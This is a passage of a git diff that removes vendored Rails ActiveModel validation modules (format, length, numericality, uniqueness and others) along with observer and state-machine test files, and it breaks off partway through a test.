-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_confirmation_of(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:confirmation], :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        attr_accessor(*(attr_names.map { |n| "#{n}_confirmation" }))
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          record.errors.add(attr_name, configuration[:message]) unless record.send("#{attr_name}_confirmation").nil? or value == record.send("#{attr_name}_confirmation")
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/exclusion.rb b/vendor/rails/activemodel/lib/active_model/validations/exclusion.rb
deleted file mode 100644
index 1592000f..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/exclusion.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Validates that the value of the specified attribute is not in a particular enumerable object.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_exclusion_of :username, :in => %w( admin superuser ), :message => "You don't belong here"
-      #     validates_exclusion_of :age, :in => 30..60, :message => "This site is only for under 30 and over 60"
-      #     validates_exclusion_of :format, :in => %w( mov avi ), :message => "extension %s is not allowed"
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:in</tt> - An enumerable object of items that the value shouldn't be part of
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "is reserved")
-      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the attribute is +nil+ (default is: +false+)
-      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the attribute is blank (default is: +false+)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_exclusion_of(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:exclusion], :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        enum = configuration[:in] || configuration[:within]
-
-        raise(ArgumentError, "An object with the method include? is required must be supplied as the :in option of the configuration hash") unless enum.respond_to?(:include?)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          record.errors.add(attr_name, configuration[:message] % value) if enum.include?(value)
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/format.rb b/vendor/rails/activemodel/lib/active_model/validations/format.rb
deleted file mode 100644
index 1320ef64..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/format.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Validates whether the value of the specified attribute is of the correct form by matching it against the regular expression
-      # provided.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_format_of :email, :with => /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, :on => :create
-      #   end
-      #
-      # Note: use <tt>\A</tt> and <tt>\Z</tt> to match the start and end of the string, <tt>^</tt> and <tt>$</tt> match the start/end of a line.
-      #
-      # A regular expression must be provided or else an exception will be raised.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "is invalid")
-      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the attribute is +nil+ (default is: +false+)
-      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the attribute is blank (default is: +false+)
-      # * <tt>:with</tt> - The regular expression used to validate the format with (note: must be supplied!)
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_format_of(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:invalid], :on => :save, :with => nil }
-        configuration.update(attr_names.extract_options!)
-
-        raise(ArgumentError, "A regular expression must be supplied as the :with option of the configuration hash") unless configuration[:with].is_a?(Regexp)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          record.errors.add(attr_name, configuration[:message]) unless value.to_s =~ configuration[:with]
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/inclusion.rb b/vendor/rails/activemodel/lib/active_model/validations/inclusion.rb
deleted file mode 100644
index f288810d..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/inclusion.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Validates whether the value of the specified attribute is available in a particular enumerable object.
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_inclusion_of :gender, :in => %w( m f )
-      #     validates_inclusion_of :age, :in => 0..99
-      #     validates_inclusion_of :format, :in => %w( jpg gif png ), :message => "extension %s is not included in the list"
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:in</tt> - An enumerable object of available items
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "is not included in the list")
-      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the attribute is null (default is: +false+)
-      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the attribute is blank (default is: +false+)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_inclusion_of(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:inclusion], :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        enum = configuration[:in] || configuration[:within]
-
-        raise(ArgumentError, "An object with the method include? is required must be supplied as the :in option of the configuration hash") unless enum.respond_to?(:include?)
-
-        validates_each(attr_names, configuration) do |record, attr_name, value|
-          record.errors.add(attr_name, configuration[:message] % value) unless enum.include?(value)
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/length.rb b/vendor/rails/activemodel/lib/active_model/validations/length.rb
deleted file mode 100644
index 673ad339..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/length.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      ALL_RANGE_OPTIONS = [ :is, :within, :in, :minimum, :maximum ].freeze
-    
-      # Validates that the specified attribute matches the length restrictions supplied. Only one option can be used at a time:
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_length_of :first_name, :maximum => 30
-      #     validates_length_of :last_name, :maximum => 30, :message => "less than %d if you don't mind"
-      #     validates_length_of :fax, :in => 7..32, :allow_nil => true
-      #     validates_length_of :phone, :in => 7..32, :allow_blank => true
-      #     validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
-      #     validates_length_of :fav_bra_size, :minimum => 1, :too_short => "please enter at least %d character"
-      #     validates_length_of :smurf_leader, :is => 4, :message => "papa is spelled with %d characters... don't play me."
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:minimum</tt> - The minimum size of the attribute
-      # * <tt>:maximum</tt> - The maximum size of the attribute
-      # * <tt>:is</tt> - The exact size of the attribute
-      # * <tt>:within</tt> - A range specifying the minimum and maximum size of the attribute
-      # * <tt>:in</tt> - A synonym (or alias) for <tt>:within</tt>
-      # * <tt>:allow_nil</tt> - Attribute may be +nil+; skip validation.
-      # * <tt>:allow_blank</tt> - Attribute may be blank; skip validation.
-      # * <tt>:too_long</tt> - The error message if the attribute goes over the maximum (default is: "is too long (maximum is %d characters)")
-      # * <tt>:too_short</tt> - The error message if the attribute goes under the minimum (default is: "is too short (min is %d characters)")
-      # * <tt>:wrong_length</tt> - The error message if using the <tt>:is</tt> method and the attribute is the wrong size (default is: "is the wrong length (should be %d characters)")
-      # * <tt>:message</tt> - The error message to use for a <tt>:minimum</tt>, <tt>:maximum</tt>, or <tt>:is</tt> violation.  An alias of the appropriate <tt>:too_long</tt>/<tt>too_short</tt>/<tt>wrong_length</tt> message
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_length_of(*attrs)
-        # Merge given options with defaults.
-        options = {
-          :too_long     => ActiveRecord::Errors.default_error_messages[:too_long],
-          :too_short    => ActiveRecord::Errors.default_error_messages[:too_short],
-          :wrong_length => ActiveRecord::Errors.default_error_messages[:wrong_length]
-        }.merge(DEFAULT_VALIDATION_OPTIONS)
-        options.update(attrs.extract_options!.symbolize_keys)
-
-        # Ensure that one and only one range option is specified.
-        range_options = ALL_RANGE_OPTIONS & options.keys
-        case range_options.size
-          when 0
-            raise ArgumentError, 'Range unspecified.  Specify the :within, :maximum, :minimum, or :is option.'
-          when 1
-            # Valid number of options; do nothing.
-          else
-            raise ArgumentError, 'Too many range options specified.  Choose only one.'
-        end
-
-        # Get range option and value.
-        option = range_options.first
-        option_value = options[range_options.first]
-
-        case option
-          when :within, :in
-            raise ArgumentError, ":#{option} must be a Range" unless option_value.is_a?(Range)
-
-            too_short = options[:too_short] % option_value.begin
-            too_long  = options[:too_long]  % option_value.end
-
-            validates_each(attrs, options) do |record, attr, value|
-              value = value.split(//) if value.kind_of?(String)
-              if value.nil? or value.size < option_value.begin
-                record.errors.add(attr, too_short)
-              elsif value.size > option_value.end
-                record.errors.add(attr, too_long)
-              end
-            end
-          when :is, :minimum, :maximum
-            raise ArgumentError, ":#{option} must be a nonnegative Integer" unless option_value.is_a?(Integer) and option_value >= 0
-
-            # Declare different validations per option.
-            validity_checks = { :is => "==", :minimum => ">=", :maximum => "<=" }
-            message_options = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }
-
-            message = (options[:message] || options[message_options[option]]) % option_value
-
-            validates_each(attrs, options) do |record, attr, value|
-              value = value.split(//) if value.kind_of?(String)
-              record.errors.add(attr, message) unless !value.nil? and value.size.method(validity_checks[option])[option_value]
-            end
-        end
-      end
-
-      alias_method :validates_size_of, :validates_length_of
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/numericality.rb b/vendor/rails/activemodel/lib/active_model/validations/numericality.rb
deleted file mode 100644
index 92ca5f40..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/numericality.rb
+++ /dev/null
@@ -1,80 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      ALL_NUMERICALITY_CHECKS = { :greater_than => '>', :greater_than_or_equal_to => '>=',
-                                  :equal_to => '==', :less_than => '<', :less_than_or_equal_to => '<=',
-                                  :odd => 'odd?', :even => 'even?' }.freeze
-
-
-      # Validates whether the value of the specified attribute is numeric by trying to convert it to
-      # a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
-      # <tt>/\A[\+\-]?\d+\Z/</tt> (if <tt>integer</tt> is true).
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_numericality_of :value, :on => :create
-      #   end
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "is not a number").
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
-      # * <tt>:only_integer</tt> - Specifies whether the value has to be an integer, e.g. an integral value (default is +false+).
-      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default is +false+). Notice that for fixnum and float columns empty strings are converted to +nil+.
-      # * <tt>:greater_than</tt> - Specifies the value must be greater than the supplied value.
-      # * <tt>:greater_than_or_equal_to</tt> - Specifies the value must be greater than or equal the supplied value.
-      # * <tt>:equal_to</tt> - Specifies the value must be equal to the supplied value.
-      # * <tt>:less_than</tt> - Specifies the value must be less than the supplied value.
-      # * <tt>:less_than_or_equal_to</tt> - Specifies the value must be less than or equal the supplied value.
-      # * <tt>:odd</tt> - Specifies the value must be an odd number.
-      # * <tt>:even</tt> - Specifies the value must be an even number.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_numericality_of(*attr_names)
-        configuration = { :on => :save, :only_integer => false, :allow_nil => false }
-        configuration.update(attr_names.extract_options!)
-
-
-        numericality_options = ALL_NUMERICALITY_CHECKS.keys & configuration.keys
-
-        (numericality_options - [ :odd, :even ]).each do |option|
-          raise ArgumentError, ":#{option} must be a number" unless configuration[option].is_a?(Numeric)
-        end
-
-        validates_each(attr_names,configuration) do |record, attr_name, value|
-          raw_value = record.send("#{attr_name}_before_type_cast") || value
-
-          next if configuration[:allow_nil] and raw_value.nil?
-
-          if configuration[:only_integer]
-            unless raw_value.to_s =~ /\A[+-]?\d+\Z/
-              record.errors.add(attr_name, configuration[:message] || ActiveRecord::Errors.default_error_messages[:not_a_number])
-              next
-            end
-            raw_value = raw_value.to_i
-          else
-           begin
-              raw_value = Kernel.Float(raw_value.to_s)
-            rescue ArgumentError, TypeError
-              record.errors.add(attr_name, configuration[:message] || ActiveRecord::Errors.default_error_messages[:not_a_number])
-              next
-            end
-          end
-
-          numericality_options.each do |option|
-            case option
-              when :odd, :even
-                record.errors.add(attr_name, configuration[:message] || ActiveRecord::Errors.default_error_messages[option]) unless raw_value.to_i.method(ALL_NUMERICALITY_CHECKS[option])[]
-              else
-                message = configuration[:message] || ActiveRecord::Errors.default_error_messages[option]
-                message = message % configuration[option] if configuration[option]
-                record.errors.add(attr_name, message) unless raw_value.method(ALL_NUMERICALITY_CHECKS[option])[configuration[option]]
-            end
-          end
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/presence.rb b/vendor/rails/activemodel/lib/active_model/validations/presence.rb
deleted file mode 100644
index 62e46690..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/presence.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Validates that the specified attributes are not blank (as defined by Object#blank?). Happens by default on save. Example:
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_presence_of :first_name
-      #   end
-      #
-      # The +first_name+ attribute must be in the object and it cannot be blank.
-      #
-      # If you want to validate the presence of a boolean field (where the real values are +true+ and +false+),
-      # you will want to use
-      #
-      #   validates_inclusion_of :field_name, :in => [true, false]
-      #
-      # This is due to the way Object#blank? handles boolean values:
-      #
-      #   false.blank? # => true
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - A custom error message (default is: "can't be blank")
-      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_presence_of(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:blank], :on => :save }
-        configuration.update(attr_names.extract_options!)
-
-        # can't use validates_each here, because it cannot cope with nonexistent attributes,
-        # while errors.add_on_empty can
-        send(validation_method(configuration[:on]), configuration) do |record|
-          record.errors.add_on_blank(attr_names, configuration[:message])
-        end
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activemodel/lib/active_model/validations/uniqueness.rb b/vendor/rails/activemodel/lib/active_model/validations/uniqueness.rb
deleted file mode 100644
index 593d2cfd..00000000
--- a/vendor/rails/activemodel/lib/active_model/validations/uniqueness.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-module ActiveModel
-  module Validations
-    module ClassMethods
-      # Validates whether the value of the specified attributes are unique across the system. Useful for making sure that only one user
-      # can be named "davidhh".
-      #
-      #   class Person < ActiveRecord::Base
-      #     validates_uniqueness_of :user_name, :scope => :account_id
-      #   end
-      #
-      # It can also validate whether the value of the specified attributes are unique based on multiple scope parameters.  For example,
-      # making sure that a teacher can only be on the schedule once per semester for a particular class.
-      #
-      #   class TeacherSchedule < ActiveRecord::Base
-      #     validates_uniqueness_of :teacher_id, :scope => [:semester_id, :class_id]
-      #   end
-      #
-      # When the record is created, a check is performed to make sure that no record exists in the database with the given value for the specified
-      # attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
-      #
-      # Because this check is performed outside the database there is still a chance that duplicate values
-      # will be inserted in two parallel transactions.  To guarantee against this you should create a 
-      # unique index on the field. See +add_index+ for more information.
-      #
-      # Configuration options:
-      # * <tt>:message</tt> - Specifies a custom error message (default is: "has already been taken")
-      # * <tt>:scope</tt> - One or more columns by which to limit the scope of the uniqueness constraint.
-      # * <tt>:case_sensitive</tt> - Looks for an exact match.  Ignored by non-text columns (+true+ by default).
-      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the attribute is +nil+ (default is: +false+)
-      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the attribute is blank (default is: +false+)
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).  The
-      #   method, proc or string should return or evaluate to a true or false value.
-      def validates_uniqueness_of(*attr_names)
-        configuration = { :message => ActiveRecord::Errors.default_error_messages[:taken] }
-        configuration.update(attr_names.extract_options!)
-
-        validates_each(attr_names,configuration) do |record, attr_name, value|
-          # The check for an existing value should be run from a class that
-          # isn't abstract. This means working down from the current class
-          # (self), to the first non-abstract class. Since classes don't know
-          # their subclasses, we have to build the hierarchy between self and
-          # the record's class.
-          class_hierarchy = [record.class]
-          while class_hierarchy.first != self
-            class_hierarchy.insert(0, class_hierarchy.first.superclass)
-          end
-
-          # Now we can work our way down the tree to the first non-abstract
-          # class (which has a database table to query from).
-          finder_class = class_hierarchy.detect { |klass| !klass.abstract_class? }
-
-          if value.nil? || (configuration[:case_sensitive] || !finder_class.columns_hash[attr_name.to_s].text?)
-            condition_sql = "#{record.class.quoted_table_name}.#{attr_name} #{attribute_condition(value)}"
-            condition_params = [value]
-          else
-            # sqlite has case sensitive SELECT query, while MySQL/Postgresql don't.
-            # Hence, this is needed only for sqlite.
-            condition_sql = "LOWER(#{record.class.quoted_table_name}.#{attr_name}) #{attribute_condition(value)}"
-            condition_params = [value.downcase]
-          end
-
-          if scope = configuration[:scope]
-            Array(scope).map do |scope_item|
-              scope_value = record.send(scope_item)
-              condition_sql << " AND #{record.class.quoted_table_name}.#{scope_item} #{attribute_condition(scope_value)}"
-              condition_params << scope_value
-            end
-          end
-
-          unless record.new_record?
-            condition_sql << " AND #{record.class.quoted_table_name}.#{record.class.primary_key} <> ?"
-            condition_params << record.send(:id)
-          end
-
-          results = finder_class.with_exclusive_scope do
-            connection.select_all(
-              construct_finder_sql(
-                :select     => attr_name,
-                :from       => finder_class.quoted_table_name,
-                :conditions => [condition_sql, *condition_params]
-              )
-            )
-          end
-
-          unless results.length.zero?
-            found = true
-
-            # As MySQL/Postgres don't have case sensitive SELECT queries, we try to find duplicate
-            # column in ruby when case sensitive option
-            if configuration[:case_sensitive] && finder_class.columns_hash[attr_name.to_s].text?
-              found = results.any? { |a| a[attr_name.to_s] == value }
-            end
-
-            record.errors.add(attr_name, configuration[:message]) if found
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activemodel/test/observing_test.rb b/vendor/rails/activemodel/test/observing_test.rb
deleted file mode 100644
index dc41c9f8..00000000
--- a/vendor/rails/activemodel/test/observing_test.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-require 'test_helper'
-
-class ObservedModel < ActiveModel::Base
-  class Observer
-  end
-end
-
-class FooObserver < ActiveModel::Observer
-  class << self
-    public :new
-  end
-  
-  attr_accessor :stub
-
-  def on_spec(record)
-    stub.event_with(record) if stub
-  end
-end
-
-class Foo < ActiveModel::Base
-end
-
-class ObservingTest < ActiveModel::TestCase
-  def setup
-    ObservedModel.observers.clear
-  end
-
-  test "initializes model with no cached observers" do
-    assert ObservedModel.observers.empty?, "Not empty: #{ObservedModel.observers.inspect}"
-  end
-  
-  test "stores cached observers in an array" do
-    ObservedModel.observers << :foo
-    assert ObservedModel.observers.include?(:foo), ":foo not in #{ObservedModel.observers.inspect}"
-  end
-  
-  test "flattens array of assigned cached observers" do
-    ObservedModel.observers = [[:foo], :bar]
-    assert ObservedModel.observers.include?(:foo), ":foo not in #{ObservedModel.observers.inspect}"
-    assert ObservedModel.observers.include?(:bar), ":bar not in #{ObservedModel.observers.inspect}"
-  end
-
-  test "instantiates observer names passed as strings" do
-    ObservedModel.observers << 'foo_observer'
-    FooObserver.expects(:instance)
-    ObservedModel.instantiate_observers
-  end
-
-  test "instantiates observer names passed as symbols" do
-    ObservedModel.observers << :foo_observer
-    FooObserver.expects(:instance)
-    ObservedModel.instantiate_observers
-  end
-
-  test "instantiates observer classes" do
-    ObservedModel.observers << ObservedModel::Observer
-    ObservedModel::Observer.expects(:instance)
-    ObservedModel.instantiate_observers
-  end
-  
-  test "passes observers to subclasses" do
-    FooObserver.instance
-    bar = Class.new(Foo)
-    assert_equal Foo.count_observers, bar.count_observers
-  end
-end
-  
-class ObserverTest < ActiveModel::TestCase
-  def setup
-    ObservedModel.observers = :foo_observer
-    FooObserver.models = nil
-  end
-
-  test "guesses implicit observable model name" do
-    assert_equal 'Foo', FooObserver.observed_class_name
-  end
-
-  test "tracks implicit observable models" do
-    instance = FooObserver.new
-    assert  instance.send(:observed_classes).include?(Foo), "Foo not in #{instance.send(:observed_classes).inspect}"
-    assert !instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{instance.send(:observed_classes).inspect}"
-  end
-  
-  test "tracks explicit observed model class" do
-    old_instance = FooObserver.new
-    assert !old_instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{old_instance.send(:observed_classes).inspect}"
-    FooObserver.observe ObservedModel
-    instance = FooObserver.new
-    assert instance.send(:observed_classes).include?(ObservedModel), "ObservedModel not in #{instance.send(:observed_classes).inspect}"
-  end
-  
-  test "tracks explicit observed model as string" do
-    old_instance = FooObserver.new
-    assert !old_instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{old_instance.send(:observed_classes).inspect}"
-    FooObserver.observe 'observed_model'
-    instance = FooObserver.new
-    assert instance.send(:observed_classes).include?(ObservedModel), "ObservedModel not in #{instance.send(:observed_classes).inspect}"
-  end
-  
-  test "tracks explicit observed model as symbol" do
-    old_instance = FooObserver.new
-    assert !old_instance.send(:observed_classes).include?(ObservedModel), "ObservedModel in #{old_instance.send(:observed_classes).inspect}"
-    FooObserver.observe :observed_model
-    instance = FooObserver.new
-    assert instance.send(:observed_classes).include?(ObservedModel), "ObservedModel not in #{instance.send(:observed_classes).inspect}"
-  end
-  
-  test "calls existing observer event" do
-    foo = Foo.new
-    FooObserver.instance.stub = stub
-    FooObserver.instance.stub.expects(:event_with).with(foo)
-    Foo.send(:changed)
-    Foo.send(:notify_observers, :on_spec, foo)
-  end
-  
-  test "skips nonexistent observer event" do
-    foo = Foo.new
-    Foo.send(:changed)
-    Foo.send(:notify_observers, :whatever, foo)
-  end
-end
diff --git a/vendor/rails/activemodel/test/state_machine/event_test.rb b/vendor/rails/activemodel/test/state_machine/event_test.rb
deleted file mode 100644
index 64dc8c48..00000000
--- a/vendor/rails/activemodel/test/state_machine/event_test.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-require 'test_helper'
-
-class EventTest < ActiveModel::TestCase
-  def setup
-    @state_name = :close_order
-    @success = :success_callback
-  end
-
-  def new_event
-    @event = ActiveModel::StateMachine::Event.new(nil, @state_name, {:success => @success}) do
-      transitions :to => :closed, :from => [:open, :received]
-    end
-  end
-
-  test 'should set the name' do
-    assert_equal @state_name, new_event.name
-  end
-
-  test 'should set the success option' do
-    assert_equal @success, new_event.success
-  end
-
-  test 'should create StateTransitions' do
-    ActiveModel::StateMachine::StateTransition.expects(:new).with(:to => :closed, :from => :open)
-    ActiveModel::StateMachine::StateTransition.expects(:new).with(:to => :closed, :from => :received)
-    new_event
-  end
-end
-
-class EventBeingFiredTest < ActiveModel::TestCase
-  test 'should raise an AASM::InvalidTransition error if the transitions are empty' do
-    event = ActiveModel::StateMachine::Event.new(nil, :event)
-
-    assert_raise ActiveModel::StateMachine::InvalidTransition do
-      event.fire(nil)
-    end
-  end
-
-  test 'should return the state of the first matching transition it finds' do
-    event = ActiveModel::StateMachine::Event.new(nil, :event) do
-      transitions :to => :closed, :from => [:open, :received]
-    end
-
-    obj = stub
-    obj.stubs(:current_state).returns(:open)
-
-    assert_equal :closed, event.fire(obj)
-  end
-end
diff --git a/vendor/rails/activemodel/test/state_machine/machine_test.rb b/vendor/rails/activemodel/test/state_machine/machine_test.rb
deleted file mode 100644
index d23c2231..00000000
--- a/vendor/rails/activemodel/test/state_machine/machine_test.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require 'test_helper'
-
-class MachineTestSubject
-  include ActiveModel::StateMachine
-
-  state_machine do
-    state :open
-    state :closed
-  end
-
-  state_machine :initial => :foo do
-    event :shutdown do
-      transitions :from => :open, :to => :closed
-    end
-
-    event :timeout do
-      transitions :from => :open, :to => :closed
-    end
-  end
-
-  state_machine :extra, :initial => :bar do
-  end
-end
-
-class StateMachineMachineTest < ActiveModel::TestCase
-  test "allows reuse of existing machines" do
-    assert_equal 2, MachineTestSubject.state_machines.size
-  end
-
-  test "sets #initial_state from :initial option" do
-    assert_equal :bar, MachineTestSubject.state_machine(:extra).initial_state
-  end
-
-  test "accesses non-default state machine" do
-    assert_kind_of ActiveModel::StateMachine::Machine, MachineTestSubject.state_machine(:extra)
-  end
-
-  test "finds events for given state" do
-    events = MachineTestSubject.state_machine.events_for(:open)
-    assert events.include?(:shutdown)
-    assert events.include?(:timeout)
-  end
-end
diff --git a/vendor/rails/activemodel/test/state_machine/state_test.rb b/vendor/rails/activemodel/test/state_machine/state_test.rb
deleted file mode 100644
index fbf9ce7b..00000000
--- a/vendor/rails/activemodel/test/state_machine/state_test.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-require 'test_helper'
-
-class StateTestSubject
-  include ActiveModel::StateMachine
-
-  state_machine do
-  end
-end
-
-class StateTest < ActiveModel::TestCase
-  def setup
-    @state_name = :astate
-    @machine = StateTestSubject.state_machine
-    @options = { :crazy_custom_key => 'key', :machine => @machine }
-  end
-
-  def new_state(options={})
-    ActiveModel::StateMachine::State.new(@state_name, @options.merge(options))
-  end
-
-  test 'sets the name' do
-    assert_equal :astate, new_state.name
-  end
-
-  test 'sets the display_name from name' do
-    assert_equal "Astate", new_state.display_name
-  end
-
-  test 'sets the display_name from options' do
-    assert_equal "A State", new_state(:display => "A State").display_name
-  end
-  
-  test 'sets the options and expose them as options' do
-    @options.delete(:machine)
-    assert_equal @options, new_state.options
-  end
-
-  test 'equals a symbol of the same name' do
-    assert_equal new_state, :astate
-  end
-
-  test 'equals a State of the same name' do
-    assert_equal new_state, new_state
-  end
-
-  test 'should send a message to the record for an action if the action is present as a symbol' do
-    state = new_state(:entering => :foo)
-
-    record = stub
-    record.expects(:foo)
-
-    state.call_action(:entering, record)
-  end
-
-  test 'should send a message to the record for an action if the action is present as a string' do
-    state = new_state(:entering => 'foo')
-
-    record = stub
-    record.expects(:foo)
-
-    state.call_action(:entering, record)
-  end
-
-  test 'should call a proc, passing in the record for an action if the action is present' do
